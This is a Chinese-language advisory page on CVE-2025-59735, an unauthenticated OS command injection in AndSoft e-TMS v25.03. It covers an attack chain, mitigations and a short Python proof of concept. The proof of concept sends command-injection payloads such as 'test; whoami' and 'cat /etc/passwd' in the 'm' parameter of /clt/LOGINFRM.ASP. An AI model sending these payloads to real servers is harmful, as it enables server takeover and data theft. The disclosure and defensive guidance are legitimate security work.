IPBUF安全漏洞报告
English
CVE-2025-59735 CVSS 9.8 严重

CVE-2025-59735:AndSoft e-TMS 操作系统命令注入漏洞

披露日期: 2025-10-02

漏洞信息

漏洞编号
CVE-2025-59735
漏洞类型
操作系统命令注入(OS Command Injection)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AndSoft e-TMS

相关标签

命令注入OS命令注入AndSofte-TMSASP远程代码执行未认证漏洞CVSS9.8严重漏洞INCIBE

漏洞概述

CVE-2025-59735 是 AndSoft 公司开发的 e-TMS(electronic Transport Management System,电子运输管理系统)v25.03 版本中存在的一个高危操作系统命令注入漏洞。该漏洞于 2025 年 10 月 2 日由西班牙国家网络安全研究所(INCIBE)披露,CVSS 3.1 评分高达 9.8 分,属于严重级别漏洞。

AndSoft e-TMS 是一款广泛应用于物流和运输行业的管理系统,用于处理运输订单、车辆调度、货物跟踪等核心业务。由于该系统在物流供应链中的关键地位,一旦被攻击者成功利用,可能导致运输业务中断、敏感业务数据泄露、运输订单被篡改等严重后果。

该漏洞的根本原因在于 e-TMS 应用程序在处理用户通过 POST 请求提交的参数时,未对输入数据进行充分的验证和过滤。攻击者可以通过精心构造的恶意请求,在服务器操作系统层面执行任意命令,从而完全控制受影响的服务器。由于该漏洞无需任何认证即可利用,且无需用户交互,攻击者可以通过自动化工具大规模扫描和攻击互联网上暴露的 e-TMS 实例,攻击门槛极低,危害性极高。

根据 INCIBE 发布的公告,该漏洞是 e-TMS 中多个安全漏洞之一,建议用户尽快关注厂商发布的安全更新并采取相应的防护措施。

技术细节

CVE-2025-59735 是一个典型的操作系统命令注入(OS Command Injection)漏洞,存在于 AndSoft e-TMS v25.03 的登录框架页面 /clt/LOGINFRM.ASP 中。

漏洞原理:e-TMS 应用程序使用 ASP(Active Server Pages)技术开发,在处理用户登录请求时,接收 POST 提交的数据。其中,名为 'm' 的参数被应用程序接收后,直接传递给了底层操作系统命令执行函数(如 Shell、cmd.exe 等),而没有进行任何输入验证、过滤或转义处理。攻击者可以在 'm' 参数中注入操作系统命令分隔符(如 ;、|、&&、\n 等),从而将恶意命令拼接到原始命令中执行。

利用方式:攻击者无需任何认证凭据,只需向目标服务器的 /clt/LOGINFRM.ASP 端点发送一个精心构造的 HTTP POST 请求,在 'm' 参数中注入恶意操作系统命令即可。服务器在处理该请求时,会将注入的命令作为合法命令的一部分在操作系统层面执行。

由于该漏洞的攻击向量为网络(AV:N)、攻击复杂度低(AC:L)、无需权限(PR:N)、无需用户交互(UI:N),且对机密性、完整性、可用性均产生高影响(C:H/I:H/A:H),攻击者可以利用此漏洞:
1. 在服务器上执行任意系统命令,如读取敏感文件、修改系统配置;
2. 安装恶意软件或后门程序,建立持久化访问;
3. 窃取数据库中的运输业务数据、客户信息等敏感数据;
4. 横向移动至内网其他系统,扩大攻击范围;
5. 对服务器进行破坏性操作,如删除关键数据、加密文件(勒索攻击)。

攻击链分析

STEP 1
步骤1:目标侦察
攻击者通过 Shodan、Censys 等网络空间搜索引擎或自动化扫描工具,识别互联网上暴露的 AndSoft e-TMS v25.03 实例,定位目标服务器的 /clt/LOGINFRM.ASP 端点。
STEP 2
步骤2:构造恶意请求
攻击者构造一个 HTTP POST 请求,目标 URL 为 /clt/LOGINFRM.ASP,在 'm' 参数中注入操作系统命令分隔符和恶意命令(如 ; whoami、| id 等),无需任何认证凭据。
STEP 3
步骤3:发送攻击请求
攻击者通过自动化工具(如 Python 脚本、Metasploit 模块等)向目标服务器发送恶意 POST 请求,利用 e-TMS 未对 'm' 参数进行输入验证的缺陷。
STEP 4
步骤4:命令执行
e-TMS 服务器在处理请求时,将 'm' 参数的值直接传递给底层操作系统命令执行函数,恶意命令作为合法命令的一部分被执行,攻击者获得服务器操作系统级别的命令执行能力。
STEP 5
步骤5:权限提升与持久化
攻击者在服务器上执行进一步操作,如上传 WebShell、安装后门程序、创建管理员账户等,建立持久化访问通道。
STEP 6
步骤6:数据窃取与破坏
攻击者窃取 e-TMS 数据库中的运输订单、客户信息、财务数据等敏感数据,或对系统进行破坏性操作(数据删除、勒索加密等),并可能横向移动至内网其他系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-59735 - AndSoft e-TMS OS Command Injection PoC # Vulnerability: OS Command Injection via 'm' parameter in /clt/LOGINFRM.ASP # CVSS: 9.8 CRITICAL import requests target_url = "http://target-host/clt/LOGINFRM.ASP" # Inject OS command via 'm' parameter using command separator # The 'm' parameter value is directly passed to OS command execution without sanitization payload = "test; whoami" # Prepare POST data with malicious 'm' parameter data = { "m": payload } # Send the exploit request (no authentication required) response = requests.post(target_url, data=data) print(f"Status Code: {response.status_code}") print(f"Response Body:\n{response.text}") # Example with different command separators: # payload = "test | id" # Pipe operator # payload = "test && cat /etc/passwd" # AND operator # payload = "test; uname -a" # Semicolon separator # payload = "test$(whoami)" # Command substitution # payload = "test`id`" # Backtick command substitution

影响范围

AndSoft e-TMS v25.03

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)通过防火墙或访问控制列表(ACL)限制 /clt/LOGINFRM.ASP 端点的访问,仅允许可信 IP 地址访问;2)在反向代理或 WAF 中添加针对 'm' 参数的命令注入防护规则,拦截包含命令分隔符(;、|、&&、||、$()、反引号等)的恶意请求;3)将 e-TMS 服务运行账户的权限降至最低,限制其可执行的系统命令范围;4)密切监控服务器日志,关注异常的 POST 请求和命令执行行为;5)考虑暂时关闭 e-TMS 的远程访问功能,仅在内部网络中使用;6)对关键业务数据进行离线备份,防止数据被窃取或破坏。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表